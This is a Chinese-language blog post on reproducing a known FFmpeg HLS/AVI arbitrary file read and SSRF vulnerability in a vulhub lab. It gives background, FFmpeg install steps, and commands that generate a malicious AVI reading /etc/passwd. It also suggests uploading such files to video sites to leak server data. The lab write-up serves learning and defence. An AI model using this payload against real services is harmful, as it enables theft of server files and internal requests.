ffmpeg ,结合 SSRF任意文件读取漏洞


前言

初衷:最近空闲,想通过vulhub靶场进行学习,猛的看到ffmpeg,很熟悉。在2018年开发的堡垒机时,曾经用过它进行视频文件的处理。于是决定从它开始练习写博客。
漏洞分析:漏洞最初是由neex提交到HackerOne平台,并最终获得了1000$的奖励,原文链接为 https://hackerone.com/reports/226756 。根据作者所述,该漏洞利用了FFmpeg可以处理HLS播放列表的特性,而播放列表可以引用外部文件。通过在AVI文件中添加自定义的包含本地文件引用的HLS播放列表,可以触发该漏洞并在该文件播放过程中显示本地文件的内容。


一、ffmpeg是什么?

FFmpeg 背景知识简介

FFmpeg是一套可以用来记录、转换数字音频、视频,并能将其转化为流的开源计算机程序。它包括了目前领先的音/视频编码库libavcodec。 FFmpeg是在Linux下开发出来的,但它可以在包括Windows在内的大多数操作系统中编译。这个项目是由Fabrice Bellard发起的,现在由Michael Niedermayer主持。可以轻易地实现多种视频格式之间的相互转换,例如可以将摄录下的视频avi等转成现在视频网站所采用的flv格式。其基本的工作流程是:

原始的封装视频 –> demux 分离器对封装的视频资源进行分离 –> 得到音频资源和视频资源 –> 进行解码 –> 得到解压后的音频资源和视频资源 –> 进入 filter 进行编辑处理 –> 得到处理后的音频资源和视频资源 –> 对资源编码得到转码后的音频资源和视频资源 –> 进入 mux 混合器进行封装 –> 得到转码封装后的视频

HLS (HTTP Live Streaming)

常用的流媒体协议主要有 HTTP 渐进下载(HLS,flash 渐进式等)和基于 RTSP/RTP 的实时流媒体协议,这二种基本是完全不同的东西,目前比较方便又好用的是用 HTTP 渐进下载方法。

在这个中 apple 公司的 HTTP Live Streaming 是这个方面的代表。它会把整个视频流分成多个小的,基于 HTTP 的文件来下载,每次下载一部分,并把视频流元数据存放于 m3u8 文件中。

M3U8文件概念

M3U8文件是指UTF-8编码格式的M3U文件。M3U文件是记录了一个索引纯文本文件,打开它时播放软件并不是播放它,而是根据它的索引找到对应的音视频文件的网络地址进行在线播放。

简单归纳起来就是:首先将一个完整视频分成多个TS视频文件,用户下载m3u8文件,通过m3u8文件的索引地址 播放具体的每个小段视频。

二、使用步骤

CentOS7下的安装

1、安装过程: 下载安装源,配置,编译,安装,设置环境变量。

# wget http://www.ffmpeg.org/releases/ffmpeg-4.1.tar.gz
# tar -zxvf ffmpeg-4.1.tar.gz
# cd ffmpeg-4.1
# ./configure --prefix=/usr/local/ffmpeg
# make && make install
 
等待安装完成...
 
# vi /etc/profile
在最后PATH添加环境变量:
PATH=$PATH:/usr/local/ffmpeg/bin
export PATH
保存退出
 
# source /ect/profile   设置生效
# ffmpeg -version       查看版本

注意:
若安装过程中出现以下错误:
yasm/nasm not found or too old. Use –disable-yasm for a crippled build.
If you think configure made a mistake, make sure you are using the latest
version from Git. If the latest version fails, report the problem to the
ffmpeg-user@ffmpeg.org mailing list or IRC #ffmpeg on irc.freenode.net.
Include the log file “config.log” produced by configure as this will help
solve the problem.

2、需要安装yasm

# wget http://www.tortall.net/projects/yasm/releases/yasm-1.3.0.tar.gz
# tar -zxvf yasm-1.3.0.tar.gz
# cd yasm-1.3.0
# ./configure
# make && make install

以上为ffmpeg的安装过程,如果使用vulhub靶场复现 任意文件读取漏洞,可不需要进行以上安装。


三、 ffmpeg 任意文件读取漏洞复现

参考资料:
- http://bobao.360.cn/learning/detail/4032.html
- https://hackerone.com/reports/242831
- https://github.com/neex/ffmpeg-avi-m3u-xbin

环境搭建

1、编译及启动环境

docker-compose build
docker-compose up -d

2、环境启动后监听8080端口,访问http://your-ip:8080/即可查看。

![在这里插入图片描述](https://img-blog.csdnimg.cn/20200929111915731.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MTQzODcyOA==,size_16,color_FFFFFF,t_70#pic_center

漏洞利用

3、漏洞原理见前言,不再赘述,直接下载exp,并生成payload:

# 下载exp
git clone https://github.com/neex/ffmpeg-avi-m3u-xbin
cd ffmpeg-avi-m3u-xbin

# 生成payload
./gen_xbin_avi.py file:///etc/passwd exp.avi

4、生成exp.avi,在http://your-ip:8080/上传。后端将会将你上传的视频用ffmpeg转码后显示,转码时因为ffmpeg的任意文件读取漏洞,可将文件信息读取到视频中,但是这一块我没有读取成功。
直接执行docker-compose exec web bash进入本环境内部,测试ffmpeg。

# 下载exp
root@52ba4998db3d:/usr/local# git clone https://github.com/neex/ffmpeg-avi-m3u-xbin
cd ffmpeg-avi-m3u-xbin

# 生成payload
root@52ba4998db3d:/usr/local# ./gen_xbin_avi.py file:// /etc/passwd exp.avi

# 转换视频
root@52ba4998db3d:/usr/local/ffmpeg-avi-m3u-xbin# ffmpeg -i exp.avi output.mp4

5、导出查看 output.mp4
在这里插入图片描述
随后对生成的avi文件进行分析发现,在HLS的播放列表中,该文件通过#EXT-X-BYTERANGE控制文件的偏移地址,并在随后的空行中指定文件的URI地址。通过不断递增文件的偏移地址,该文件可以实现对本地文件的遍历显示播放。在这里插入图片描述
通过将该AVI视频文件上传到各大视频网站中,即可在该视频播放时显示服务器端本地的隐私数据,造成本地敏感数据的泄露。同时,M3U播放列表中的URI可以改为http协议,造成SSRF攻击。

修复建议

目前,官方已经发布了patch补丁,通过过滤文件后缀名来阻止该漏洞的产生。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值